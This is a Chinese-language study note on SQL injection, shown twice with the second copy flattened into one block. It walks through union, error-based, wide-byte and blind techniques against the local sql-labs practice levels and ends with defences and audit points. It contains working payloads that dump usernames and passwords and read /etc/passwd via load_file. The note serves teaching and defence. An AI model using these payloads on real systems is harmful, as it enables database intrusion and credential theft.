sql注入总结复习
字数 3324 2025-08-10 17:51:54

SQL注入攻击全面解析与防御指南

一、Web三层架构基础

SQL注入攻击前必须理解的Web程序三层架构:

  1. 数据访问层(DAL):负责数据库的增删改查操作,将数据提交给业务层并保存业务层处理的数据
  2. 业务逻辑层(BLL):UI层和DAL层的桥梁,实现业务逻辑(验证、计算、业务规则等)
  3. 表现层(UI):用户交互界面,接收用户输入并显示处理后的数据

数据流示例

  1. 用户访问www.boke.com
  2. 业务逻辑层加载解析index.php
  3. 建立DBMS连接并执行SQL语句
  4. 数据访问层返回结果给业务逻辑层
  5. Web服务器封装HTML发送给浏览器
  6. 浏览器解析显示给用户

二、SQL注入原理

当Web服务器向数据访问层发起SQL请求,且这些SQL语句需要结合用户输入构造时,如果用户构造恶意语句且服务器过滤不严,就会发生SQL注入攻击。

三、联合注入(Union Injection)

原理

利用UNION操作符合并多个SELECT语句的结果集,要求:

  • 每个SELECT必须有相同数量的列
  • 列必须有相似数据类型
  • 列顺序必须相同
  • 只有前一条查询为假时才会执行后一条

攻击步骤示例(sql-labs第一关)

  1. 判断注入类型

    • http://127.0.0.1/sqli/Less-1/?id=1' → 报错
    • http://127.0.0.1/sqli/Less-1/?id=1' --+ → 报错消失 → 字符型注入(单引号闭合)
  2. 判断列数

    • http://127.0.0.1/sqli/Less-1/?id=1' order by 3--+ → 正常
    • http://127.0.0.1/sqli/Less-1/?id=1' order by 4--+ → 报错 → 共3列
  3. 查看显示位

    • http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 --+
  4. 爆破数据库

    • http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,database(),3 --+
  5. 爆破表名

    • http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" --+
  6. 爆破列名

    • http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" --+
  7. 爆破字段

    • http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

四、报错注入(Error-based Injection)

定义

通过特殊函数错误使用使其输出错误结果来获取信息,利用MySQL输出错误获取数据库信息。

使用条件

错误信息必须输出(页面显示报错信息),如print_r(mysql_error())

类型

  1. BIGINT数据溢出错误
  2. Xpath格式错误
  3. concat+rand()+group_by()导致主键重复

BIGINT数据溢出错误

原理

MySQL处理整型数据时,超过最大值会报错。使用按位取反运算~0~0+1实现溢出。

版本要求:MySQL > 5.5.5才会报错

exp函数利用

exp(X)返回e的X次幂值

Payload示例

  • 获取表名:and exp(~(select * from (select table_name from information_schema.tables where table_schema=database() limit 0,1)a))
  • 获取列名:and exp(~(select * from (select column_name from information_schema.columns where table_name='users' limit 0,1)a))
  • 读取文件:and exp(~(select * from (select load_file('/etc/passwd'))a))

注意:MySQL报错信息长度限制(512字节),需使用limit逐个爆破

Xpath报错注入

原理

利用extractvalueupdatexml函数,当XPath_string格式非法(如包含~)时报错并返回非法内容

示例
select extractvalue('1',concat('~',(select database())));

攻击步骤(sql-labs第五关)

  1. 判断列数:http://127.0.0.1/sqli/Less-5/?id=1' order by 3--+
  2. 尝试联合注入无回显,转报错注入
  3. 爆破数据库:http://127.0.0.1/sqli/Less-5/?id=-1' and extractvalue('1',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1))) --+
  4. 爆破列名:http://127.0.0.1/sqli/Less-5/?id=-1' and extractvalue('1',concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1 ))) --+

五、宽字节注入

基础知识

  • 窄字节:1字节/字符
  • 宽字节:2字节/字符(如GB2312、GBK、GB18030、BIG5、Shift_JIS编码)
    • 英文:1字节
    • 汉字:2字节

原理

MySQL使用GBK编码时,前一个ASCII值>128则认为两字符是一个汉字。利用addslashes()转义单引号为\'(\=0x5c),配合%df(ASCII>128)形成%df%5c=汉字"運",使单引号逃逸。

攻击示例(sql-labs 32关)

  1. 尝试单引号:http://127.0.0.1/sqli/Less-32/?id=1' → 被转义为\'
  2. 宽字节注入:http://127.0.0.1/sqli/Less-32/?id=1%df'%df%5c=運,单引号逃逸成功

六、盲注(Blind Injection)

布尔盲注

通过页面返回的真/假状态推断信息

常见技术

  • length()判断长度
  • substr()逐字符猜测
  • ascii()获取字符ASCII码
  • if()条件判断
  • sleep()时间延迟判断

七、防御措施

  1. 参数化查询/预编译语句:使用PDO或mysqli的prepare语句
  2. 输入验证:白名单验证输入格式
  3. 最小权限原则:数据库账户仅授予必要权限
  4. 错误处理:禁用详细错误信息显示
  5. 编码转换:统一字符编码(如UTF-8)
  6. WAF:部署Web应用防火墙
  7. 框架安全:使用ORM框架避免直接SQL拼接

八、源码审计要点

  1. 查找直接拼接用户输入的SQL语句
  2. 检查转义函数使用情况(addslashesmysql_real_escape_string等)
  3. 验证字符编码设置
  4. 检查错误信息显示配置
  5. 确认数据库连接权限

通过全面理解这些SQL注入技术和防御措施,可以有效提升Web应用安全性,防止数据泄露风险。

SQL注入攻击全面解析与防御指南 一、Web三层架构基础 SQL注入攻击前必须理解的Web程序三层架构: 数据访问层(DAL) :负责数据库的增删改查操作,将数据提交给业务层并保存业务层处理的数据 业务逻辑层(BLL) :UI层和DAL层的桥梁,实现业务逻辑(验证、计算、业务规则等) 表现层(UI) :用户交互界面,接收用户输入并显示处理后的数据 数据流示例 : 用户访问www.boke.com 业务逻辑层加载解析index.php 建立DBMS连接并执行SQL语句 数据访问层返回结果给业务逻辑层 Web服务器封装HTML发送给浏览器 浏览器解析显示给用户 二、SQL注入原理 当Web服务器向数据访问层发起SQL请求,且这些SQL语句需要结合用户输入构造时,如果用户构造恶意语句且服务器过滤不严,就会发生SQL注入攻击。 三、联合注入(Union Injection) 原理 利用UNION操作符合并多个SELECT语句的结果集,要求: 每个SELECT必须有相同数量的列 列必须有相似数据类型 列顺序必须相同 只有前一条查询为假时才会执行后一条 攻击步骤示例(sql-labs第一关) 判断注入类型 : http://127.0.0.1/sqli/Less-1/?id=1' → 报错 http://127.0.0.1/sqli/Less-1/?id=1' --+ → 报错消失 → 字符型注入(单引号闭合) 判断列数 : http://127.0.0.1/sqli/Less-1/?id=1' order by 3--+ → 正常 http://127.0.0.1/sqli/Less-1/?id=1' order by 4--+ → 报错 → 共3列 查看显示位 : http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 --+ 爆破数据库 : http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,database(),3 --+ 爆破表名 : http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" --+ 爆破列名 : http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" --+ 爆破字段 : http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users --+ 四、报错注入(Error-based Injection) 定义 通过特殊函数错误使用使其输出错误结果来获取信息,利用MySQL输出错误获取数据库信息。 使用条件 错误信息必须输出(页面显示报错信息),如 print_r(mysql_error()) 类型 BIGINT数据溢出错误 Xpath格式错误 concat+rand()+group_ by()导致主键重复 BIGINT数据溢出错误 原理 MySQL处理整型数据时,超过最大值会报错。使用按位取反运算 ~0 或 ~0+1 实现溢出。 版本要求 :MySQL > 5.5.5才会报错 exp函数利用 exp(X) 返回e的X次幂值 Payload示例 : 获取表名: and exp(~(select * from (select table_name from information_schema.tables where table_schema=database() limit 0,1)a)) 获取列名: and exp(~(select * from (select column_name from information_schema.columns where table_name='users' limit 0,1)a)) 读取文件: and exp(~(select * from (select load_file('/etc/passwd'))a)) 注意 :MySQL报错信息长度限制(512字节),需使用limit逐个爆破 Xpath报错注入 原理 利用 extractvalue 和 updatexml 函数,当XPath_ string格式非法(如包含 ~ )时报错并返回非法内容 示例 : select extractvalue('1',concat('~',(select database()))); 攻击步骤(sql-labs第五关) 判断列数: http://127.0.0.1/sqli/Less-5/?id=1' order by 3--+ 尝试联合注入无回显,转报错注入 爆破数据库: http://127.0.0.1/sqli/Less-5/?id=-1' and extractvalue('1',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1))) --+ 爆破列名: http://127.0.0.1/sqli/Less-5/?id=-1' and extractvalue('1',concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1 ))) --+ 五、宽字节注入 基础知识 窄字节:1字节/字符 宽字节:2字节/字符(如GB2312、GBK、GB18030、BIG5、Shift_ JIS编码) 英文:1字节 汉字:2字节 原理 MySQL使用GBK编码时,前一个ASCII值>128则认为两字符是一个汉字。利用 addslashes() 转义单引号为 \' ( \ =0x5c),配合 %df (ASCII>128)形成 %df%5c =汉字"運",使单引号逃逸。 攻击示例(sql-labs 32关) 尝试单引号: http://127.0.0.1/sqli/Less-32/?id=1' → 被转义为 \' 宽字节注入: http://127.0.0.1/sqli/Less-32/?id=1%df' → %df%5c =運,单引号逃逸成功 六、盲注(Blind Injection) 布尔盲注 通过页面返回的真/假状态推断信息 常见技术 : length() 判断长度 substr() 逐字符猜测 ascii() 获取字符ASCII码 if() 条件判断 sleep() 时间延迟判断 七、防御措施 参数化查询/预编译语句 :使用PDO或mysqli的prepare语句 输入验证 :白名单验证输入格式 最小权限原则 :数据库账户仅授予必要权限 错误处理 :禁用详细错误信息显示 编码转换 :统一字符编码(如UTF-8) WAF :部署Web应用防火墙 框架安全 :使用ORM框架避免直接SQL拼接 八、源码审计要点 查找直接拼接用户输入的SQL语句 检查转义函数使用情况( addslashes 、 mysql_real_escape_string 等) 验证字符编码设置 检查错误信息显示配置 确认数据库连接权限 通过全面理解这些SQL注入技术和防御措施,可以有效提升Web应用安全性,防止数据泄露风险。